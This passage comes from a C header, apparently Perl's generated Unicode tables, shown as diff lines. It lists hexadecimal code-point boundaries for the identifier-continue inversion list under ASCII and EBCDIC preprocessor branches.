- 0x11580, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115D8, - 0x115DE, - 0x11600, - 0x11641, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x118A0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C41, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF5, - 0x16B00, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0100, - 0xE01F0 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_IDC_invlist[] = { /* for EBCDIC 1047 */ - 1403, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x6D, - 0x6E, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xB3, - 0xB4, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x300, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x483, - 0x488, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x610, - 0x61B, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6DF, - 0x6E9, - 0x6EA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x82E, - 0x840, - 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x964, - 0x966, - 0x970, - 0x971, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE3B, - 0xE40, - 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x1000, - 0x104A, - 0x1050, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x1360, - 0x1369, - 0x1372, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1735, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DE, - 0x17E0, - 0x17EA, - 0x180B, - 0x180E, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AA8, - 0x1AB0, - 0x1ABE, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1BF4, - 0x1C00, - 0x1C38, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20D0, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x3005, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x3099, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA62C, - 0xA640, - 0xA670, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA92E, - 0xA930, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA9C1, - 0xA9CF, - 0xA9DA, - 0xA9E0, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF10, - 0xFF1A, - 0xFF21, - 0xFF3B, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11047, - 0x11066, - 0x11070, - 0x1107F, - 0x110BB, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11140, - 0x11150, - 0x11174, - 0x11176, - 0x11177, - 0x11180, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1144B, - 0x11450, - 0x1145A, - 0x11480, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115D8, - 0x115DE, - 0x11600, - 0x11641, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x118A0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C41, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF5, - 0x16B00, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_IDC_invlist[] = { /* for EBCDIC 037 */ - 1399, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x6D, - 0x6E, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xB3, - 0xB4, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x300, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x483, - 0x488, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x610, - 0x61B, - 0x620, - 